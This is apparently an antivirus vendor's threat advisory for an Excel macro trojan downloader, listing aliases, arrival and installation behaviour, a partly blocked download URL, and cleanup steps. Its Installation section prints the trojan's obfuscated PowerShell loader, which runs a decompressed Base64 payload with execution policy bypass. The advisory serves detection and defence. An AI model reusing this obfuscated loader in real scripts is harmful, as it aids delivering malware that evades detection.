Analysis by: Jay Garcia
 Modified by: Clive Fuentebella
ALIASES:

VBA/Dldr.Agent.hzazi (ANTIVIR); VBA/TrojanDownloader.Agent.MUV trojan (NOD32)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted:

  • In the wild: Yes

  OVERVIEW

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

Tamaño del archivo 112,131 bytes
Tipo de archivo XLS
Residente en memoria No
Fecha de recepción de las muestras iniciales 20 Feb 2019

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan adds the following processes:

  • CmD /c "sET psA=(.("{3}{2}{1}{0}"-f'CT','bJE','-o','NeW') ("{1}{5}{6}{7}{2}{0}{3}{4}" -f'DefLaT','sYs','on.','E','stream','tem','.iO.comP','rEssi')( [iO.MeMoRYstrEAM][ConveRT]::"FROmBA`sE64`s`T`RinG"({Base-64 encoded}) ,[iO.comPrESsIOn.ComprESsIoNmODe]::"dECOmp`Re`SS" )^|^&("{0}{1}"-f'fOrEaC','H'){ ^&("{0}{1}{2}" -f'NeW-','ob','JECT') ("{2}{3}{1}{4}{0}" -f'R','strEAMre','Io','.','AdE')( ${_} , [SySTEM.TexT.EnCoDIng]::"aSc`II") }^| ^&("{0}{2}{1}" -f'FoRE','H','ac') {${_}."rea`dTOe`ND"( ) } ) ^| . ( ${psH`Ome}[21]+\${P`sHoME}[30]+'X')&&powerSHElL -w 1 -NOPrOfil -nOnINtera -Nol -eXeC bYPAsS set-ItEm vaRiAblE:HQt ([TYPe]( \"{1}{0}{2}\" -f'vI','EN','RoNmeNt' ) ) ; ( ^& (\"{1}{0}{2}\" -f 'aBl','VaRi','e' ) ( \"{0}{3}{4}{1}{2}\"-f 'E','oNco','nTExT','Xe','cuTi' ) ).\"vA`LUE\".\"iN`VoKecO`mMaND\".\"inV`O`kESCR`ipT\"( ( $hQT::( \"{3}{5}{1}{2}{0}{4}\"-f'ENTVar','v','IROnM','Ge','IablE','TEn').Invoke( 'PSa',( \"{2}{1}{0}\"-f'S','cES','Pro' ) )) )"

Other Details

This Trojan connects to the following possibly malicious URL:

  • https://{BLOCKED}on.com/StreamGame.rar

  SOLUTION

Motor de exploración mínimo 9.850
Primer archivo de patrones de VSAPI 14.844.08
Primera fecha de publicación de patrones de VSAPI 01 Mar 2019
Versión de patrones OPR de VSAPI 14.845.00
Fecha de publicación de patrones OPR de VSAPI 02 Mar 2019

Step 1

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 2

Scan your computer with your Trend Micro product to delete files detected as Trojan.X97M.POWLOAD.SMK. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


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